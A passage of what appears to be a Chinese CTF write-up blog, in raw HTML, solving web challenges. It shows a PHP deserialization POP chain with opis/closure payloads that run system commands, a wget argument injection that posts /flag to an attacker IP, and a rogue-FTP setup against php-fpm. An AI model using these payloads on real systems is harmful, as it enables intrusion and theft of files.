class="string">&#x27;started&#x27;</span>, <span class="string">&#x27;running&#x27;</span>, <span class="string">&#x27;finished&#x27;</span>, <span class="string">&#x27;waiting&#x27;</span>, <span class="string">&#x27;fail&#x27;</span>];</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$processes</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;_exit();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">_exit</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">foreach</span>(array_reverse(<span class="keyword">$this</span>-&gt;processes) <span class="keyword">as</span> <span class="variable">$process</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!<span class="variable">$process</span>-&gt;isRunning) &#123;</span><br><span class="line">                <span class="keyword">continue</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="variable">$process</span>-&gt;stop();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>在 <code>\Faker\MyGenerator.php</code>  中找到这两个函数， <code>__call()</code>  函数中 <code>echo $this-&gt;defaultCall;</code>  一句可能会触发 <code>__toString()</code>  函数：</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Faker</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyGenerator</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$defaultValue</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__call</span>(<span class="params"><span class="variable">$method</span>, <span class="variable">$arg_array</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">$this</span>-&gt;defaultCall;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;defaultCall;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$property</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;defaultValue;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>在 <code>\Method\Func\GetFile.php</code>  找到 <code>__toString()</code>  函数，调用了同类中的 <code>getFiles()</code>  函数，发现函数的中调用了 <code>isset()</code>  函数，如果该类中不存在该属性，会触发 <code>__isset()</code>  函数：</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Method</span>\<span class="title">Func</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GetFile</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$flag</span> = <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$files</span> = [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;getFiles();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getFiles</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="keyword">$this</span>-&gt;flag) <span class="keyword">return</span> <span class="string">&quot;denied&quot;</span>;</span><br><span class="line">        <span class="variable">$s</span> = <span class="string">&quot;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="keyword">$this</span>-&gt;flag-&gt;&#123;<span class="keyword">$this</span>-&gt;value&#125;)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;test&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;files <span class="keyword">as</span> <span class="variable">$file</span>) &#123;</span><br><span class="line">            <span class="variable">$s</span> += <span class="variable">$file</span>-&gt;read();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$s</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>在 <code>Method\Func\GetDefault.php</code>  中找到 <code>__isset()</code>  函数，调用了同类中的 <code>popup()</code>  函数，其中 <code>return $s($length);</code>  可能会触发 <code>__invoke()</code>  函数：</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Method</span>\<span class="title">Func</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GetDefault</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$source</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">popup</span>(<span class="params"><span class="variable">$length</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$s</span> = <span class="keyword">$this</span>-&gt;source;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$s</span>-&gt;flag != <span class="string">&quot;myTest&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;denied&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$s</span>(<span class="variable">$length</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__isset</span>(<span class="params"><span class="variable">$property</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="variable">$property</span> != <span class="string">&quot;test&quot;</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> !<span class="keyword">$this</span>-&gt;popup(<span class="number">666</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>最后在 <code>\Method\Func\GenerateFile.php</code>  中找到 <code>__invoke()</code>  函数，且存在 <code>call_user_func()</code> 。没有想到在 php5 中是可以直接赋值在一个没有初始化的变量上的 2333。</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Method</span>\<span class="title">Func</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GenerateFile</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$flag</span>;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$buffer</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__invoke</span>(<span class="params"><span class="variable">$param</span></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;myGen(<span class="variable">$param</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">myGen</span>(<span class="params"><span class="variable">$length</span></span>) </span>&#123;</span><br><span class="line">        <span class="variable">$s</span> = <span class="keyword">$this</span>-&gt;buffer-&gt;read;</span><br><span class="line">        call_user_func(<span class="keyword">$this</span>-&gt;source-&gt;generate, <span class="variable">$length</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$s</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li><p>整个链子理清楚了，但是发现 <code>call_user_func()</code>  的第二个参数被写死了，因为 <code>$this-&gt;popup(666);</code>  调用的时候将 <code>666</code>  传入了 <code>__invoke($param)</code> ，最后也就作为 <code>$length</code>  变量传入了 <code>myGen($length)</code>  函数。</p></li><li><p>现在只能够调用类似 <code>phpinfo()</code>  等不需要参数的程序，并不能够 rce，该怎么办呢？</p><ul><li>这时候我们注意到存在 <code>function.php</code> ，发现这个 cms 是基于 <code>opis/closure</code>  搭建的，网址：<a href="https://github.com/opis/closure">https://github.com/opis/closure</a></li><li>该项目是用来闭包类对象的，官方文档：<a href="https://opis.io/closure/3.x/serialize.html%E3%80%82php%E4%B8%AD%E7%9A%84%E9%97%AD%E5%8C%85%E5%87%BD%E6%95%B0%EF%BC%88%E4%BB%85%E5%AF%B9php%EF%BC%89%E5%8D%B3%E5%8C%BF%E5%90%8D%E5%87%BD%E6%95%B0%EF%BC%8C%E4%B8%80%E8%88%AC%E6%98%AF%E6%97%A0%E6%B3%95%E8%BF%9B%E8%A1%8C%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%EF%BC%8C%E4%B8%80%E8%88%AC%E4%BC%9A%E6%8A%A5%E9%94%99%EF%BC%9A">https://opis.io/closure/3.x/serialize.html。php 中的闭包函数（仅对 php）即匿名函数，一般是无法进行序列化的，一般会报错：</a></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$function</span> = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123; <span class="keyword">eval</span>(system(<span class="string">&#x27;ls&#x27;</span>)); &#125;;</span><br><span class="line"><span class="keyword">echo</span> serialize(<span class="variable">$function</span>);</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Fatal error: Uncaught exception &#39;Exception&#39; with message &#39;Serialization of &#39;Closure&#39; is not allowed&#39;</span><br></pre></td></tr></table></figure><ul><li>使用这个项目，可以将闭包包装成一个 <code>Opis\Closure\SerializableClosure</code>  对象，然后使用标准的 <code>serialize()</code>  进行序列化。也可以使用 <code>Opis\Closure\serialize</code>  函数序列化任意对象。</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">&#x27;closure/autoload.php&#x27;</span>;</span><br><span class="line"><span class="variable">$function</span> = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123; <span class="keyword">eval</span>(system(<span class="string">&#x27;ls&#x27;</span>)); &#125;;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> \Opis\<span class="built_in">Closure</span>\SerializableClosure(<span class="variable">$function</span>);</span><br><span class="line"><span class="keyword">echo</span> serialize(<span class="variable">$a</span>);</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">require</span> <span class="string">&#x27;closure/autoload.php&#x27;</span>;</span><br><span class="line"><span class="variable">$function</span> = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123; <span class="keyword">eval</span>(system(<span class="string">&#x27;ls&#x27;</span>)); &#125;;</span><br><span class="line"><span class="keyword">echo</span> \Opis\<span class="built_in">Closure</span>\serialize(<span class="variable">$function</span>);</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:32:&quot;Opis\Closure\SerializableClosure&quot;:156:&#123;a:5:&#123;s:3:&quot;use&quot;;a:0:&#123;&#125;s:8:&quot;function&quot;;s:33:&quot;function()&#123; eval(\system(&#39;ls&#39;));&#125;&quot;;s:5:&quot;scope&quot;;N;s:4:&quot;this&quot;;N;s:4:&quot;self&quot;;s:32:&quot;0000000054d6224100000000237e90a4&quot;;&#125;&#125;</span><br></pre></td></tr></table></figure></li><li><p>那么我们可以将匿名函数通过 <code>serialize()</code>  函数经过一次序列化和反序列化，这样他就能作为 <code>SerializableClosure</code>  对象被序列化。或者直接将 <code>generate</code>  变量赋值为 <code>SerializableClosure</code>  类。</p></li><li><p>payload：</p></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Control</span>\<span class="title">State</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">StopHook</span> &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">processes</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span> -&gt; processes = <span class="keyword">array</span>(<span class="keyword">new</span> \Faker\MyGenerator());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">require</span> <span class="string">&#x27;closure/autoload.php&#x27;</span>;</span><br><span class="line">    <span class="variable">$payload</span> = <span class="keyword">new</span> StopHook();</span><br><span class="line">    <span class="keyword">echo</span> base64_encode(serialize(<span class="variable">$payload</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Faker</span> &#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">MyGenerator</span> &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">defaultValue</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span> -&gt; defaultValue = <span class="keyword">new</span> \Method\Func\GetFile();</span><br><span class="line">        &#125;        </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Method</span>\<span class="title">Func</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">GetFile</span> &#123;</span><br><span class="line">        <span class="title">private</span> $<span class="title">flag</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span> -&gt; flag = <span class="keyword">new</span> \Method\Func\GetDefault();</span><br><span class="line">            <span class="keyword">$this</span> -&gt; value = <span class="string">&#x27;test&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Method</span>\<span class="title">Func</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">GetDefault</span> &#123;</span><br><span class="line">        <span class="title">private</span> $<span class="title">source</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)  </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span> -&gt; source = <span class="keyword">new</span> \Method\Func\GenerateFile();</span><br><span class="line">            <span class="keyword">$this</span> -&gt; source -&gt; flag = <span class="string">&#x27;myTest&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Method</span>\<span class="title">Func</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">GenerateFile</span> &#123;</span><br><span class="line">        <span class="title">public</span> $<span class="title">flag</span>;</span><br><span class="line">        <span class="keyword">protected</span> <span class="variable">$buffer</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">            <span class="variable">$function</span> = <span class="function"><span class="keyword">function</span>(<span class="params"></span>)</span>&#123; <span class="keyword">eval</span>(system(<span class="string">&#x27;ls /&#x27;</span>)); &#125;;</span><br><span class="line">            <span class="keyword">$this</span> -&gt; source -&gt; generate = <span class="keyword">new</span> \Opis\<span class="built_in">Closure</span>\SerializableClosure(<span class="variable">$function</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>将 php 文件放在 <code>/www</code>  文件夹下运行，得到序列化的结果（其实在 php5 中赋值一个对象在一个空变量中是会警告的 <code>HP Warning:  Creating default object from empty value in /var/www/1.php on line 51</code> ，在 php8 中就直接报错了）：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ&#x3D;&#x3D;</span><br></pre></td></tr></table></figure><ul><li>将作为 post 参数 data 传递，获得回显：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var</span><br></pre></td></tr></table></figure><ul><li>修改 <code>$function = function()&#123; eval(system('cat /fl@g.txt')); &#125;;</code> ，重新序列化：</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ&#x3D;&#x3D;</span><br></pre></td></tr></table></figure></li><li><p>获得 flag：</p></li></ul><h1 id="0x02-陇原战疫"><a class="markdownIt-Anchor" href="#0x02-陇原战疫">#</a> 0x02 陇原战 &quot;疫&quot;</h1><h2 id="web-2"><a class="markdownIt-Anchor" href="#web-2">#</a> WEB</h2><h3 id="checkin"><a class="markdownIt-Anchor" href="#checkin">#</a> CheckIN</h3><p>wget 参数注入</p><p>argv=1&amp;argv=–post-file&amp;argv=/flag&amp;argv=IP</p><h3 id="eaaasyphp"><a class="markdownIt-Anchor" href="#eaaasyphp">#</a> eaaasyphp</h3><p>反序列化。ftp 打 fpm，流量用 gopher 生成下就行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Esle</span></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Bypass</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$str4</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$str4</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;str4=<span class="variable">$str4</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Welcome</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$username</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$username</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;username=<span class="variable">$username</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Bunny</span> </span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$filename</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$data</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$filename</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;filename=<span class="variable">$filename</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Hint</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$hint</span>=<span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$Hint</span>=<span class="keyword">new</span> Hint();</span><br><span class="line"><span class="variable">$Bunny</span>=<span class="keyword">new</span> Bunny(<span class="string">&quot;ftp://x.x.x.x:22:8000/a&quot;</span>);</span><br><span class="line"><span class="variable">$Welcome</span>=<span class="keyword">new</span> Welcome(<span class="variable">$Bunny</span>);</span><br><span class="line"><span class="variable">$Esle</span>=<span class="keyword">new</span> Esle();</span><br><span class="line"><span class="variable">$Bypass</span>=<span class="keyword">new</span> Bypass(<span class="variable">$Welcome</span>,<span class="variable">$Hint</span>);</span><br><span class="line"><span class="keyword">echo</span> (serialize(<span class="keyword">array</span>(<span class="variable">$Esle</span>,<span class="variable">$Bypass</span>)));</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) </span><br><span class="line">s.bind((<span class="string">&#x27;0.0.0.0&#x27;</span>, <span class="number">22</span>))</span><br><span class="line">s.listen(<span class="number">1</span>)</span><br><span class="line">conn, addr = s.accept()</span><br><span class="line">conn.send(<span class="string">b&#x27;220 welcome\n&#x27;</span>)</span><br><span class="line"><span class="comment">#Service ready for new user.</span></span><br><span class="line"><span class="comment">#Client send anonymous username</span></span><br><span class="line"><span class="comment">#USER anonymous</span></span><br><span class="line">conn.send(<span class="string">b&#x27;331 Please specify the password.\n&#x27;</span>)</span><br><span class="line"><span class="comment">#User name okay, need password.</span></span><br><span class="line"><span class="comment">#Client send anonymous password.</span></span><br><span class="line"><span class="comment">#PASS anonymous</span></span><br><span 